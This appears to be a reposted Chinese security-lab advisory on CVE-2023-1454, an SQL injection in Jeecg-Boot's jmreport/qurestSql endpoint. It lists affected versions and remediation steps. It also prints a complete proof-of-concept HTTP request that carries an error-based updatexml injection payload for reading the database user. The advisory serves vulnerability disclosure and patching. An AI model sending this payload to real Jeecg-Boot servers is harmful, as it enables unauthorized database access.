Jeecg-Boot SQL注入漏洞(CVE-2023-1454)

admin 2023年6月21日11:01:35评论78 views字数 1221阅读4分4秒阅读模式



网安引领时代,弥天点亮未来   





 

Jeecg-Boot SQL注入漏洞(CVE-2023-1454)

0x00写在前面

本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
Jeecg-Boot SQL注入漏洞(CVE-2023-1454)

0x01漏洞介绍

jeecg是一个应用软件。一款基于代码生成器的智能开发平台。

jeecg-boot 3.5.0版本存在SQL注入漏洞,该漏洞源于文件 jmreport/qurestSql 存在安全问题, 通过参数 apiSelectId 导致SQL注入。

Jeecg-Boot SQL注入漏洞(CVE-2023-1454)

0x02影响版本

jeecg-boot <= v3.5.0 

jimureport-spring-boot-starter <= 1.5.6

Jeecg-Boot SQL注入漏洞(CVE-2023-1454)



Jeecg-Boot SQL注入漏洞(CVE-2023-1454)

0x03漏洞复现

1.访问漏洞环境

Jeecg-Boot SQL注入漏洞(CVE-2023-1454)

2.对漏洞进行复现

Poc 

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.1982.124 Safari/537.36Content-Length: 130Accept: */*Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/json;charset=UTF-8
{"apiSelectId":"1290104038414721025","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}

复现请求

Jeecg-Boot SQL注入漏洞(CVE-2023-1454)

3.nuclei工具测试(漏洞存在)

Jeecg-Boot SQL注入漏洞(CVE-2023-1454)


Jeecg-Boot SQL注入漏洞(CVE-2023-1454)

0x04修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://github.com/jeecgboot/jeecg-boot

缓解方法

1.增加对积木报表路径的身份认证,具体步骤如下:在 jeecg-boot-base/jeecg-boot-base-core/org.jeecg.config.shiro.ShiroConfig 文件中,将 filterChainDefinitionMap.put("/jmreport/**", "anon"); 注释,或将 "anon" 改成 "jwt" 2.非必要移除 jimureport-spring-boot-starter 依赖



弥天简介

学海浩茫,予以风动,必降弥天之润!弥天弥天安全实验室成立于2019年2月19日,主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子,也是民间组织。主要以技术共享、交流等不断赋能自己,赋能安全圈,为网络安全发展贡献自己的微薄之力。

口号 网安引领时代,弥天点亮未来


















Jeecg-Boot SQL注入漏洞(CVE-2023-1454) 


知识分享完了

喜欢别忘了关注我们哦~


学海浩茫,

予以风动,
必降弥天之润!


   弥  天

安全实验室

Jeecg-Boot SQL注入漏洞(CVE-2023-1454)


原文始发于微信公众号(弥天安全实验室):Jeecg-Boot SQL注入漏洞(CVE-2023-1454)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月21日11:01:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jeecg-Boot SQL注入漏洞(CVE-2023-1454)http://cn-sec.com/archives/1822280.html

发表评论

匿名网友 填写信息